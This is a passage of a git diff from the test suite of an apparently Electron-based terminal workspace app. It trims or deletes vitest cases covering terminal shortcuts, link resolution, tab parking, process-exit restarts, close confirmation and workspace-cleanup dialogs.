b/src/renderer/src/components/terminal-pane/fish-color-scheme-child-stdin.node-pty.test.ts index 6e2198d28c6..d6eefc90fa9 100644 --- a/src/renderer/src/components/terminal-pane/fish-color-scheme-child-stdin.node-pty.test.ts +++ b/src/renderer/src/components/terminal-pane/fish-color-scheme-child-stdin.node-pty.test.ts @@ -336,6 +336,7 @@ describe('fish never receives a color-scheme report it did not query (#9993)', ( mockStoreState = { activeWorktreeId: 'wt-1', tabsByWorktree: { 'wt-1': [{ id: 'tab-1', ptyId: 'fish-pty' }] }, + unifiedTabsByWorktree: {}, ptyIdsByTabId: { 'tab-1': ['fish-pty'] }, terminalPaneStartsByPaneKey: {}, terminalPaneResumeOutcomesByPaneKey: {}, diff --git a/src/renderer/src/components/terminal-pane/renderer-owned-agent-status-registry.test.ts b/src/renderer/src/components/terminal-pane/renderer-owned-agent-status-registry.test.ts index ff9f6c220da..6b69ea9d10d 100644 --- a/src/renderer/src/components/terminal-pane/renderer-owned-agent-status-registry.test.ts +++ b/src/renderer/src/components/terminal-pane/renderer-owned-agent-status-registry.test.ts @@ -24,12 +24,6 @@ describe('renderer-owned agent status registry', () => { expect(isClientAuthoritativeAgentStatusPane(PANE)).toBe(true) }) - it('ignores writes for panes that never registered', () => { - markRendererOwnedAgentStatusWrite(OTHER_PANE) - expect(isClientAuthoritativeAgentStatusPane(OTHER_PANE)).toBe(false) - expect(_getRendererOwnedAgentStatusPaneCountForTest()).toBe(0) - }) - it('cedes authority on teardown and leaks no entry', () => { const release = registerRendererOwnedAgentStatusPane(PANE, ENV) markRendererOwnedAgentStatusWrite(PANE) @@ -41,14 +35,6 @@ describe('renderer-owned agent status registry', () => { expect(isClientAuthoritativeAgentStatusPane(PANE)).toBe(false) }) - it('keeps the earned claim across a remount in the same environment', () => { - registerRendererOwnedAgentStatusPane(PANE, ENV) - markRendererOwnedAgentStatusWrite(PANE) - registerRendererOwnedAgentStatusPane(PANE, ENV) - expect(isClientAuthoritativeAgentStatusPane(PANE)).toBe(true) - expect(_getRendererOwnedAgentStatusPaneCountForTest()).toBe(1) - }) - it('drops the claim when the pane re-registers under another environment', () => { registerRendererOwnedAgentStatusPane(PANE, ENV) markRendererOwnedAgentStatusWrite(PANE) diff --git a/src/renderer/src/components/terminal-pane/repro-8299-shift-space-input-source.test.ts b/src/renderer/src/components/terminal-pane/repro-8299-shift-space-input-source.test.ts index 9c6ac83aff5..dc711a37f19 100644 --- a/src/renderer/src/components/terminal-pane/repro-8299-shift-space-input-source.test.ts +++ b/src/renderer/src/components/terminal-pane/repro-8299-shift-space-input-source.test.ts @@ -1,9 +1,6 @@ /** Bound macOS Shift+Space switches input source without PTY bytes, including companion key events; unbound chords retain ordinary space input (#8299). */ import { describe, expect, it } from 'vitest' -import { - createTerminalNativeOnlyShortcutTracker, - getTerminalShortcutKeyIdentity -} from './terminal-native-only-shortcut' +import { createTerminalNativeOnlyShortcutTracker } from './terminal-native-only-shortcut' import { resolveTerminalShortcutAction, type TerminalShortcutEvent @@ -47,20 +44,6 @@ describe('issue #8299 Shift+Space input-source switch regression', () => { } }) - it('configures Shift+Space as native-only input-source switch without sendInput', () => { - const overrides = { 'terminal.switchInputSource': ['Shift+Space'] } - const action = resolveTerminalShortcutAction( - shortcutEvent({ key: ' ', code: 'Space', shiftKey: true }), - true, - 'false', - 0, - false, - overrides - ) - expect(action).toEqual({ type: 'switchInputSource' }) - expect(action).not.toMatchObject({ type: 'sendInput' }) - }) - it('leaves unbound Shift+Space as non-action on macOS/Linux/Windows', () => { // Why: native-only behavior is opt-in; non-IME users keep ordinary Space input. for (const [isMac, isWindows] of [ @@ -94,20 +77,6 @@ describe('issue #8299 Shift+Space input-source switch regression', () => { ).toEqual({ type: 'switchInputSource' }) }) - it('supports alternate OS chords such as Ctrl+Space', () => { - const overrides = { 'terminal.switchInputSource': ['Ctrl+Space'] } - expect( - resolveTerminalShortcutAction( - shortcutEvent({ key: ' ', code: 'Space', ctrlKey: true }), - false, - 'false', - 0, - false, - overrides - ) - ).toEqual({ type: 'switchInputSource' }) - }) - it('suppresses keypress/keyup companions including keypress without code', () => { // Why: Chromium keypress may omit code and only report key:" ". const tracker = createTerminalNativeOnlyShortcutTracker() @@ -117,13 +86,6 @@ describe('issue #8299 Shift+Space input-source switch regression', () => { expect(tracker.consumeCompanion({ type: 'keyup', key: ' ' })).toBe(false) }) - it('normalizes Space identities across key/code aliases', () => { - expect(getTerminalShortcutKeyIdentity({ key: ' ', code: 'Space' })).toBe('Space') - expect(getTerminalShortcutKeyIdentity({ key: ' ' })).toBe('Space') - expect(getTerminalShortcutKeyIdentity({ key: 'Spacebar' })).toBe('Space') - expect(getTerminalShortcutKeyIdentity({ key: 'a', code: 'KeyA' })).toBe('KeyA') - }) - it('does not suppress unrelated companions while Space is pending', () => { const tracker = createTerminalNativeOnlyShortcutTracker() tracker.armKeyDown({ key: ' ', code: 'Space' }) diff --git a/src/renderer/src/components/terminal-pane/terminal-cold-park-withheld-tabs.test.ts b/src/renderer/src/components/terminal-pane/terminal-cold-park-withheld-tabs.test.ts deleted file mode 100644 index 7e7633ad871..00000000000 --- a/src/renderer/src/components/terminal-pane/terminal-cold-park-withheld-tabs.test.ts +++ /dev/null @@ -1,112 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest' -import type { TerminalTab } from '../../../../shared/terminal-tab-types' -import type { ParkVerdictFlipRecord } from './terminal-park-verdict-flip-telemetry' -import { withholdUnparkableTerminalTabs } from './terminal-cold-park-withheld-tabs' - -const coverage = vi.hoisted(() => ({ byTabId: new Map() })) - -vi.mock('./terminal-parked-tab-watchers', () => ({ - canWatcherCoverParkedTerminalTab: (_worktreeId: string, tab: TerminalTab) => - coverage.byTabId.get(tab.id) ?? true -})) - -const WORKTREE = 'repo::/wt' - -function terminalTab(id: string): TerminalTab { - return { id, ptyId: `${WORKTREE}@@${id}`, title: id } as TerminalTab -} - -function pinnedRecord(pinnedUntilMs: number | null): ParkVerdictFlipRecord { - return { - parked: false, - windowStartMs: 0, - flips: 0, - notified: false, - lastFlipMs: 0, - burstStartMs: 0, - burstFlips: 0, - pinnedUntilMs - } -} - -beforeEach(() => { - coverage.byTabId.clear() -}) - -describe('withholdUnparkableTerminalTabs', () => { - it('parks a covered tab with no pin', () => { - const { parkedTabIds, parkVerdictPinUntilMsByTabId } = withholdUnparkableTerminalTabs({ - worktreeId: WORKTREE, - terminalTabs: [terminalTab('tab-a')], - coldParkedTabIds: new Set(['tab-a']), - parkVerdictRecords: new Map(), - nowMs: 1_000 - }) - - expect(parkedTabIds).toEqual(new Set(['tab-a'])) - expect(parkVerdictPinUntilMsByTabId.size).toBe(0) - }) - - // Return the deadline too: it schedules the only wakeup that releases damping. - it('withholds a pinned tab and reports its deadline', () => { - const records = new Map([['tab-a', pinnedRecord(9_000)]]) - - const { parkedTabIds, parkVerdictPinUntilMsByTabId } = withholdUnparkableTerminalTabs({ - worktreeId: WORKTREE, - terminalTabs: [terminalTab('tab-a')], - coldParkedTabIds: new Set(['tab-a']), - parkVerdictRecords: records, - nowMs: 1_000 - }) - - expect(parkedTabIds.has('tab-a')).toBe(false) - expect(parkVerdictPinUntilMsByTabId.get('tab-a')).toBe(9_000) - }) - - it('withholds a tab the watchers cannot cover', () => { - coverage.byTabId.set('tab-a', false) - - const { parkedTabIds, parkVerdictPinUntilMsByTabId } = withholdUnparkableTerminalTabs({ - worktreeId: WORKTREE, - terminalTabs: [terminalTab('tab-a')], - coldParkedTabIds: new Set(['tab-a']), - parkVerdictRecords: new Map(), - nowMs: 1_000 - }) - - expect(parkedTabIds.has('tab-a')).toBe(false) - expect(parkVerdictPinUntilMsByTabId.size).toBe(0) - }) - - // Expired pins must release tabs back to policy instead of retaining them forever. - it('parks a tab whose pin has lapsed', () => { - const records = new Map([['tab-a', pinnedRecord(500)]]) - - const { parkedTabIds, parkVerdictPinUntilMsByTabId } = withholdUnparkableTerminalTabs({ - worktreeId: WORKTREE, - terminalTabs: [terminalTab('tab-a')], - coldParkedTabIds: new Set(['tab-a']), - parkVerdictRecords: records, - nowMs: 1_000 - }) - - expect(parkedTabIds.has('tab-a')).toBe(true) - expect(parkVerdictPinUntilMsByTabId.size).toBe(0) - }) - - it('does not consult non-candidates and leaves the input set untouched', () => { - const coldParkedTabIds = new Set(['tab-a']) - coverage.byTabId.set('tab-b', false) - - const { parkedTabIds } = withholdUnparkableTerminalTabs({ - worktreeId: WORKTREE, - terminalTabs: [terminalTab('tab-a'), terminalTab('tab-b')], - coldParkedTabIds, - parkVerdictRecords: new Map(), - nowMs: 1_000 - }) - - expect(parkedTabIds).toEqual(new Set(['tab-a'])) - expect(coldParkedTabIds).toEqual(new Set(['tab-a'])) - }) -}) diff --git a/src/renderer/src/components/terminal-pane/terminal-link-provider-candidate-failures.test.ts b/src/renderer/src/components/terminal-pane/terminal-link-provider-candidate-failures.test.ts index e66fd09828e..29c2eb5a82c 100644 --- a/src/renderer/src/components/terminal-pane/terminal-link-provider-candidate-failures.test.ts +++ b/src/renderer/src/components/terminal-pane/terminal-link-provider-candidate-failures.test.ts @@ -97,17 +97,6 @@ describe('terminal link candidates fail independently', () => { expect([...cache.keys()].some((key) => key.includes(firstPath + secondPath))).toBe(false) }) - it('has the same valid SSH links with a blank-row separator', async () => { - const rows = await replayRows(capture.replace(`${firstPath}\r\n`, `${firstPath}\r\n\r\n`)) - sshProbe() - const { provider } = createProviderSetup(rows, new Map(), { - startupCwd: '/home/alice/dev', - worktreePath: '/home/alice/dev' - }) - expect((await hover(provider, 1)).map((link) => link.text)).toEqual([firstPath]) - expect((await hover(provider, 3)).map((link) => link.text)).toEqual([secondPath]) - }) - it('preserves a real hard-wrapped path beside a rejected joined candidate', async () => { const rows = await replayRows(`/home/alice/dev/notes/\r\nREADME.md\r\n${secondPath}\r\n`) sshProbe() @@ -169,53 +158,6 @@ describe('terminal link candidates fail independently', () => { expect([...cache.values()].map((entry) => entry.exists)).toEqual([true]) }) - it('keeps host-granted files bound to their printing terminal when a neighboring candidate fails', async () => { - const rows = await replayRows() - runtimeEnvironmentCallMock.mockImplementation(async ({ method, params }) => { - if (method !== 'files.resolveTerminalPath') { - throw new Error('Unexpected remote probe') - } - const path = params?.pathText - if (path !== firstPath && path !== secondPath) { - throw new Error('ENOTDIR: joined path') - } - return { - id: 'grant', - ok: true, - result: { - worktree: 'wt-1', - relativePath: null, - absolutePath: path, - exists: true, - isDirectory: false, - openTarget: { - kind: 'absolute-file', - provider: 'local', - absolutePath: path, - grantId: 'terminal-grant' - } - }, - _meta: { runtimeId: 'remote' } - } - }) - const { provider } = createProviderSetup(rows, new Map(), { - startupCwd: '/srv/repo', - worktreePath: '/srv/repo', - runtimeEnvironmentId: 'env-notes', - getRuntimeTerminalHandleForPane: () => 'term-notes' - }) - expect((await hover(provider, 1)).map((link) => link.text)).toEqual([firstPath]) - expect(runtimeEnvironmentCallMock).toHaveBeenCalledWith( - expect.objectContaining({ - method: 'files.resolveTerminalPath', - params: expect.objectContaining({ pathText: firstPath, terminal: 'term-notes' }) - }) - ) - expect(statMock).not.toHaveBeenCalled() - expect(fsPathExistsMock).not.toHaveBeenCalled() - expect(window.api.shell.pathExists).not.toHaveBeenCalled() - }) - it('does not cache a transport failure as missing and can retry the next hover', async () => { const rows = await replayRows() vi.mocked(getConnectionId).mockReturnValue('ssh-notes') diff --git a/src/renderer/src/components/terminal-pane/terminal-link-worktree-root-activation.test.ts b/src/renderer/src/components/terminal-pane/terminal-link-worktree-root-activation.test.ts index cae99de8cbd..8e567394ea0 100644 --- a/src/renderer/src/components/terminal-pane/terminal-link-worktree-root-activation.test.ts +++ b/src/renderer/src/components/terminal-pane/terminal-link-worktree-root-activation.test.ts @@ -45,21 +45,6 @@ installTerminalLinkTestEnvironment(doubles) const SOURCE_WORKTREE = { id: 'wt-1', path: '/tmp' } describe('handleOscLink', () => { - it('switches to an exact known worktree root without local auth or stat', async () => { - setPlatform('Macintosh') - storeState.worktreesByRepo = { - repo: [SOURCE_WORKTREE, { id: 'wt-2', path: '/tmp/other-worktree' }] - } - - openDetectedFilePath('/tmp/other-worktree', null, null, deps) - await flushAsyncWork() - - expect(activateAndRevealWorktree).toHaveBeenCalledWith('wt-2', { executionHostId: 'local' }) - expect(statMock).not.toHaveBeenCalled() - expect(openFilePathMock).not.toHaveBeenCalled() - expect(openFileMock).not.toHaveBeenCalled() - }) - it('coalesces duplicate known-root activation from provider and mouseup fallback', async () => { setPlatform('Macintosh') storeState.worktreesByRepo = { @@ -150,24 +135,6 @@ describe('handleOscLink', () => { }) describe('createFilePathLinkProvider range bounds', () => { - it('shows switch and external-open hint for known worktree root hover', async () => { - setPlatform('Macintosh') - storeState.worktreesByRepo = { - repo: [{ id: 'wt-1', path: '/repo' }] - } - const { provider, linkTooltip } = createProviderSetup([makeBufferLine('/repo')]) - - const links = await new Promise((resolve) => { - provider.provideLinks(1, (provided) => resolve(provided ?? [])) - }) - expect(links[0]).toBeDefined() - links[0]!.hover?.({} as MouseEvent, links[0]!.text) - - expect(linkTooltip.textContent).toBe( - '/repo (Click for actions, ⌘+click to switch workspace, or ⇧⌘+click to open in Finder)' - ) - }) - it('shows a known worktree root link even when the exists cache says missing', async () => { setPlatform('Macintosh') storeState.worktreesByRepo = { @@ -208,25 +175,6 @@ describe('createFilePathLinkProvider range bounds', () => { ) }) - it('does not advertise external open for SSH worktree root hover', async () => { - setPlatform('Windows') - vi.mocked(getConnectionId).mockReturnValue('ssh-1') - storeState.worktreesByRepo = { - repo: [{ id: 'wt-1', repoId: 'repo', path: '/repo', hostId: 'ssh:ssh-1' }] - } - const { provider, linkTooltip } = createProviderSetup([makeBufferLine('/repo')]) - - const links = await new Promise((resolve) => { - provider.provideLinks(1, (provided) => resolve(provided ?? [])) - }) - expect(links[0]).toBeDefined() - links[0]!.hover?.({} as MouseEvent, links[0]!.text) - - expect(linkTooltip.textContent).toBe( - '/repo (Click for actions or Ctrl+click to switch workspace)' - ) - }) - it('switches to a known worktree root from direct fallback even when cache says missing', async () => { setPlatform('Macintosh') storeState.worktreesByRepo = { diff --git a/src/renderer/src/components/terminal-pane/terminal-pane-store-subscription-budget.test.tsx b/src/renderer/src/components/terminal-pane/terminal-pane-store-subscription-budget.test.tsx index ba6158ec2be..4d94fd56e48 100644 --- a/src/renderer/src/components/terminal-pane/terminal-pane-store-subscription-budget.test.tsx +++ b/src/renderer/src/components/terminal-pane/terminal-pane-store-subscription-budget.test.tsx @@ -140,26 +140,4 @@ describe('TerminalPane store subscription budget', () => { expect(boundActions[key]).toBe(state[key]) } }) - - it('never reassigns one of the bound actions, which is what makes getState() safe', () => { - const before = useAppStore.getState() as unknown as Record - const snapshot = new Map(TERMINAL_PANE_STORE_ACTION_KEYS.map((key) => [key, before[key]])) - - act(() => { - useAppStore.getState().markTerminalBell({ - worktreeId: 'repo-1::/repo/worktrees/budget', - tabId: 'tab-1', - paneKey: 'tab-1:1' - }) - useAppStore.getState().setRuntimePaneTitle('tab-1', 1, 'title') - useAppStore.getState().clearRuntimePaneTitle('tab-1', 1) - useAppStore.getState().suppressPtyExit('pty-1') - useAppStore.getState().consumeSuppressedPtyExit('pty-1') - useAppStore.getState().setCacheTimerStartedAt('cache-1', Date.now()) - }) - - const after = useAppStore.getState() as unknown as Record - const moved = TERMINAL_PANE_STORE_ACTION_KEYS.filter((key) => after[key] !== snapshot.get(key)) - expect(moved).toEqual([]) - }) }) diff --git a/src/renderer/src/components/terminal-pane/use-terminal-pane-process-exit-actions.test.ts b/src/renderer/src/components/terminal-pane/use-terminal-pane-process-exit-actions.test.ts deleted file mode 100644 index ad03b76a7ff..00000000000 --- a/src/renderer/src/components/terminal-pane/use-terminal-pane-process-exit-actions.test.ts +++ /dev/null @@ -1,114 +0,0 @@ -// @vitest-environment happy-dom -import { act, renderHook } from '@testing-library/react' -import { beforeEach, describe, expect, it, vi } from 'vitest' -import type { PaneProcessExit } from './pty-connection-types' -import type { TerminalPaneCloseController } from './use-terminal-pane-close-actions' - -type MockState = { - storeState: { tabsByWorktree: Record } - readyRestartPtyIds: string[] - pendingAgent: 'codex' | 'claude' | null -} - -const mocks = vi.hoisted(() => { - const state: MockState = { - storeState: { tabsByWorktree: {} }, - readyRestartPtyIds: [], - pendingAgent: null - } - return { - ...state, - connectPanePty: vi.fn(() => ({ dispose: vi.fn() })), - buildPaneAccountRestartStartup: vi.fn((agent: string) => ({ - command: `${agent} resume session-1` - })) - } -}) - -vi.mock('../../store', () => ({ - useAppStore: Object.assign( - (selector: (state: unknown) => unknown) => selector(mocks.storeState), - { getState: () => mocks.storeState } - ) -})) -vi.mock('./pty-connection', () => ({ connectPanePty: mocks.connectPanePty })) -vi.mock('@/lib/agent-account-restart-startup', () => ({ - buildPaneAccountRestartStartup: mocks.buildPaneAccountRestartStartup -})) -vi.mock('./pane-account-restart-readiness', () => ({ - selectReadyAccountRestartPtyIds: () => mocks.readyRestartPtyIds, - isAccountRestartReady: () => true -})) - -import { useTerminalPaneProcessExitActions } from './use-terminal-pane-process-exit-actions' - -const PANE = { id: 1, leafId: '11111111-1111-4111-8111-111111111111', container: { dataset: {} } } - -function createController(): TerminalPaneCloseController { - const manager = { getPanes: () => [PANE], setActivePane: vi.fn() } - const transport = { getPtyId: () => 'pty-1', destroy: vi.fn() } - const members = new Map( - Object.entries({ - managerRef: { current: manager }, - paneTransportsRef: { current: new Map([[PANE.id, transport]]) }, - panePtyBindingsRef: { current: new Map() }, - savedLayout: { ptyIdsByLeafId: { [PANE.leafId]: 'pty-1' } }, - tabId: 'tab-1', - worktreeId: 'wt-1', - consumePendingPaneAccountRestart: () => mocks.pendingAgent, - setPaneProcessExitsByPaneId: vi.fn(), - setTerminalErrorsByPaneId: vi.fn() - }) - ) - // Why: every other controller member is a no-op callback for these restart paths. - const noop = vi.fn() - const stub = new Proxy({}, { get: (_, key) => (members.has(key) ? members.get(key) : noop) }) - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the hook only reads the members stubbed above plus callbacks the proxy fills with no-ops. - return stub as unknown as TerminalPaneCloseController -} - -describe('useTerminalPaneProcessExitActions', () => { - beforeEach(() => { - mocks.readyRestartPtyIds = [] - mocks.pendingAgent = null - mocks.connectPanePty.mockClear() - mocks.buildPaneAccountRestartStartup.mockClear() - }) - - it('restarts a failed shell as a plain shell, not an agent', () => { - const { result } = renderHook(() => useTerminalPaneProcessExitActions(createController())) - const processExit: PaneProcessExit = { - paneId: PANE.id, - exitCode: 1, - reason: 'process-failed', - startup: null - } - - act(() => result.current.handleRestartExitedPane(processExit)) - - expect(mocks.connectPanePty).toHaveBeenCalledTimes(1) - expect(mocks.connectPanePty).toHaveBeenCalledWith( - PANE, - expect.anything(), - expect.objectContaining({ startup: null }) - ) - expect(mocks.buildPaneAccountRestartStartup).not.toHaveBeenCalled() - }) - - it('still resumes Codex when an account switch restarts the pane', () => { - mocks.readyRestartPtyIds = ['pty-1'] - mocks.pendingAgent = 'codex' - - renderHook(() => useTerminalPaneProcessExitActions(createController())) - - expect(mocks.buildPaneAccountRestartStartup).toHaveBeenCalledWith( - 'codex', - expect.objectContaining({ leafId: PANE.leafId }) - ) - expect(mocks.connectPanePty).toHaveBeenCalledWith( - PANE, - expect.anything(), - expect.objectContaining({ startup: { command: 'codex resume session-1' } }) - ) - }) -}) diff --git a/src/renderer/src/components/terminal/terminal-close-confirm-keyboard-vs-mouse.test.ts b/src/renderer/src/components/terminal/terminal-close-confirm-keyboard-vs-mouse.test.ts deleted file mode 100644 index 9bfd5f45080..00000000000 --- a/src/renderer/src/components/terminal/terminal-close-confirm-keyboard-vs-mouse.test.ts +++ /dev/null @@ -1,112 +0,0 @@ -/** Mouse close once bypassed the running-process confirmation used by Cmd+W (#10142); both paths must enforce the same guard. */ -import { beforeEach, describe, expect, it, vi } from 'vitest' - -const { - requestPinnedTabCloseConfirmMock, - getStateMock, - inspectRuntimeTerminalProcessMock, - isWebRuntimeSessionActiveMock, - resolveHostSessionTabIdForWebSessionTabMock -} = vi.hoisted(() => ({ - requestPinnedTabCloseConfirmMock: vi.fn(), - getStateMock: vi.fn(), - inspectRuntimeTerminalProcessMock: vi.fn(), - isWebRuntimeSessionActiveMock: vi.fn(() => false), - resolveHostSessionTabIdForWebSessionTabMock: vi.fn<() => string | null>(() => null) -})) - -vi.mock('@/store', () => ({ - useAppStore: { getState: getStateMock } -})) - -vi.mock('@/runtime/web-runtime-session-tab-lifecycle', () => ({ - activateWebRuntimeSessionTab: vi.fn(), - closeWebRuntimeSessionTab: vi.fn() -})) -vi.mock('@/runtime/web-runtime-terminal-creation', () => ({ - createWebRuntimeSessionTerminal: vi.fn() -})) -vi.mock('@/runtime/web-runtime-session-environment', () => ({ - isWebRuntimeSessionActive: isWebRuntimeSessionActiveMock -})) -vi.mock('../../../../shared/terminal-surface-id', () => ({ - isWebTerminalSurfaceTabId: vi.fn(() => false), - toHostSessionTabId: vi.fn((tabId: string) => tabId) -})) - -vi.mock('@/runtime/web-session-tabs-sync/tracking-lifecycle', () => ({ - getLatestWebSessionTabsPublicationEpoch: vi.fn(() => 'epoch-1') -})) -vi.mock('@/runtime/web-session-tabs-sync/tracking-mappings', () => ({ - resolveHostSessionTabIdForWebSessionTab: resolveHostSessionTabIdForWebSessionTabMock -})) - -vi.mock('@/runtime/runtime-terminal-inspection', () => ({ - inspectRuntimeTerminalProcess: inspectRuntimeTerminalProcessMock -})) - -import { closeTerminalTab } from './terminal-tab-actions' -import { terminalOwnerRows } from './terminal-tab-owner-rows.test-fixture' - -function stateWithBusyTerminalTab(closeTab: () => void): Record { - return { - settings: { activeRuntimeEnvironmentId: null, confirmClosePinnedTab: true }, - ...terminalOwnerRows(null), - tabsByWorktree: { 'wt-1': [{ id: 'tab-busy' }, { id: 'tab-other' }] }, - unifiedTabsByWorktree: { - 'wt-1': [ - { id: 'tab-busy', entityId: 'tab-busy', contentType: 'terminal', isPinned: false }, - { id: 'tab-other', entityId: 'tab-other', contentType: 'terminal', isPinned: false } - ] - }, - ptyIdsByTabId: { 'tab-busy': ['pty-busy'] }, - terminalLayoutsByTabId: { 'tab-busy': { ptyIdsByLeafId: { leaf: 'pty-busy' } } }, - agentStatusByPaneKey: {}, - openFiles: [], - browserTabsByWorktree: {}, - activeWorktreeId: 'wt-1', - activeTabId: 'tab-busy', - closeTab, - requestPinnedTabCloseConfirm: requestPinnedTabCloseConfirmMock, - setActiveTab: vi.fn(), - setActiveFile: vi.fn(), - setActiveTabType: vi.fn(), - setActiveBrowserTab: vi.fn(), - setActiveWorktree: vi.fn() - } -} - -describe('#10142 close confirmation policy is the same for keyboard and mouse', () => { - const closeTab = vi.fn() - - beforeEach(() => { - vi.clearAllMocks() - getStateMock.mockReturnValue(stateWithBusyTerminalTab(closeTab)) - isWebRuntimeSessionActiveMock.mockReturnValue(false) - resolveHostSessionTabIdForWebSessionTabMock.mockReturnValue(null) - inspectRuntimeTerminalProcessMock.mockResolvedValue({ - foregroundProcess: 'sleep', - hasChildProcesses: true - }) - }) - - it('mouse close routes a pinned tab through its confirmation guard', () => { - const state = stateWithBusyTerminalTab(closeTab) - ;(state.unifiedTabsByWorktree as Record)[ - 'wt-1' - ]![0]!.isPinned = true - getStateMock.mockReturnValue(state) - - closeTerminalTab('tab-busy') - - expect(requestPinnedTabCloseConfirmMock).toHaveBeenCalled() - expect(closeTab).not.toHaveBeenCalled() - }) - - it('mouse close (X button / middle-click) does not drop a busy tab without confirmation', async () => { - closeTerminalTab('tab-busy') - await Promise.resolve() - - expect(closeTab).not.toHaveBeenCalled() - }) -}) diff --git a/src/renderer/src/components/workspace-cleanup/use-workspace-cleanup-removal.agent-stop.test.tsx b/src/renderer/src/components/workspace-cleanup/use-workspace-cleanup-removal.agent-stop.test.tsx index 5be1d79a8d8..43f56c45bfe 100644 --- a/src/renderer/src/components/workspace-cleanup/use-workspace-cleanup-removal.agent-stop.test.tsx +++ b/src/renderer/src/components/workspace-cleanup/use-workspace-cleanup-removal.agent-stop.test.tsx @@ -179,16 +179,6 @@ describe('workspace cleanup removal of workspaces with a running agent', () => { expect(calls).toEqual([]) }) - it('adds no step when no agent is running', async () => { - const calls = installRemoval() - const { result } = renderAtConfirm([candidateFor('a')]) - - act(() => result.current.confirmRemove()) - - expect(result.current.agentStopRequest).toBeNull() - await waitFor(() => expect(calls).toHaveLength(1)) - }) - it('asks before "Delete anyway" stops a running agent', async () => { const calls = installRemoval() startAgent('b') diff --git a/src/renderer/src/components/workspace-cleanup/workspace-cleanup-confirm-remove.test.tsx b/src/renderer/src/components/workspace-cleanup/workspace-cleanup-confirm-remove.test.tsx deleted file mode 100644 index 379a9d60d10..00000000000 --- a/src/renderer/src/components/workspace-cleanup/workspace-cleanup-confirm-remove.test.tsx +++ /dev/null @@ -1,260 +0,0 @@ -// @vitest-environment happy-dom -import { act, type ReactNode } from 'react' -import { createRoot, type Root } from 'react-dom/client' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { makeFacetCandidate } from './workspace-cleanup-facet.test.fixture' -import { WorkspaceCleanupConfirmRemove } from './workspace-cleanup-confirm-remove' -import { - getWorkspaceCleanupCandidateAccessibleName, - getWorkspaceCleanupCandidateHostLabel -} from './workspace-cleanup-host-label' - -const listProbe = vi.hoisted(() => vi.fn()) - -vi.mock('./workspace-cleanup-candidate-list', () => ({ - WorkspaceCleanupCandidateList: ({ - rows, - renderRow - }: { - rows: readonly Row[] - renderRow: (row: Row, index: number) => ReactNode - }) => { - listProbe(rows.length) - return <>{rows.slice(0, 5).map(renderRow)} - } -})) - -vi.mock('@/components/ui/dialog', () => ({ - DialogDescription: ({ children }: { children: ReactNode }) =>
{children}
, - DialogFooter: ({ children }: { children: ReactNode }) =>
{children}
, - DialogHeader: ({ children }: { children: ReactNode }) =>
{children}
, - DialogTitle: ({ children }: { children: ReactNode }) =>
{children}
-})) - -vi.mock('@/components/ui/scroll-area', () => ({ - ScrollArea: ({ children }: { children: ReactNode }) =>
{children}
-})) - -vi.mock('@/components/ui/tooltip', () => ({ - Tooltip: ({ children }: { children: ReactNode }) => <>{children}, - TooltipContent: ({ children }: { children: ReactNode }) => <>{children}, - TooltipTrigger: ({ children }: { children: ReactNode }) => <>{children} -})) - -let container: HTMLDivElement -let root: Root - -describe('WorkspaceCleanupConfirmRemove', () => { - beforeEach(() => { - listProbe.mockClear() - container = document.createElement('div') - document.body.appendChild(container) - root = createRoot(container) - }) - - afterEach(() => { - act(() => root.unmount()) - document.body.replaceChildren() - }) - - it('routes fleet-sized confirmations through the bounded row list', () => { - const candidates = Array.from({ length: 2_727 }, (_, index) => - makeFacetCandidate({ - worktreeId: `repo-1::/repo/worktree-${index}`, - displayName: `Workspace ${index}`, - path: `/repo/worktree-${index}` - }) - ) - - act(() => { - root.render( - - ) - }) - - expect(listProbe).toHaveBeenCalledWith(candidates.length) - expect(container.querySelectorAll('span.truncate.text-sm.font-medium')).toHaveLength(5) - }) - - it('names each local context type separately instead of totalling them', () => { - const candidate = makeFacetCandidate({ - worktreeId: 'repo-1::/repo/with-context', - displayName: 'Has context', - localContext: { - terminalTabCount: 1, - cleanEditorTabCount: 2, - browserTabCount: 3, - diffCommentCount: 4, - newestDiffCommentAt: null, - retainedDoneAgentCount: 5 - } - }) - - act(() => { - root.render( - - ) - }) - - const labels = [ - 'Terminal tabs: 1', - 'Editor tabs: 2', - 'Browser tabs: 3', - 'Diff notes: 4', - 'Completed agents: 5' - ] - const renderedLabels = Array.from(container.querySelectorAll('span')) - .map((element) => element.textContent) - .filter((label): label is string => labels.includes(label ?? '')) - - expect(renderedLabels).toEqual(labels) - expect(container.textContent).not.toContain('Context: ') - }) - - it('visibly and accessibly identifies each host for colliding confirmations', () => { - const local = makeFacetCandidate({ executionHostId: 'local' }) - const remote = makeFacetCandidate({ - connectionId: 'builder', - executionHostId: 'ssh:builder' - }) - - act(() => { - root.render( - - ) - }) - - expect(getWorkspaceCleanupCandidateAccessibleName(local)).not.toBe( - getWorkspaceCleanupCandidateAccessibleName(remote) - ) - for (const candidate of [local, remote]) { - const name = getWorkspaceCleanupCandidateAccessibleName(candidate) - const hostLabel = getWorkspaceCleanupCandidateHostLabel(candidate) - expect(container.querySelector(`[role="group"][aria-label="${name}"]`)).not.toBeNull() - expect(container.querySelector(`[aria-label="Host: ${hostLabel}"]`)).not.toBeNull() - } - }) - - it('shows every destructive git risk and the fleet-level force projection', () => { - const failed = makeFacetCandidate({ - worktreeId: 'repo-1::/failed', - blockers: ['pinned', 'git-status-error'], - git: { - clean: null, - upstreamAhead: null, - upstreamBehind: null, - checkedAt: null - } - }) - const unknownBase = makeFacetCandidate({ - worktreeId: 'repo-1::/unknown-base', - blockers: ['unknown-base'] - }) - - act(() => { - root.render( - - ) - }) - - expect(container.textContent).toContain('Pinned') - expect(container.textContent).toContain('Git status unavailable') - expect(container.textContent).toContain('Could not verify unpushed commits') - expect(container.textContent).toContain( - '2 workspaces currently show risk and may need a force delete' - ) - expect( - [...container.querySelectorAll('.text-destructive')].map((node) => node.textContent) - ).toEqual( - expect.arrayContaining(['Git status unavailable', 'Could not verify unpushed commits']) - ) - - act(() => { - root.render( - - ) - }) - expect(container.textContent).toContain( - '1 workspace currently shows risk and may need a force delete' - ) - }) - - it('gives the review pill a text equivalent for its state color without repeating the number', () => { - const candidate = makeFacetCandidate({ - worktreeId: 'repo-1::/repo/merged-review', - displayName: 'Merged review', - path: '/repo/merged-review' - }) - - act(() => { - root.render( - - ) - }) - - const srText = container.querySelector('span.sr-only')?.textContent ?? '' - expect(srText).toContain('Merged') - expect(srText).not.toContain('PR #15716') - }) -}) diff --git 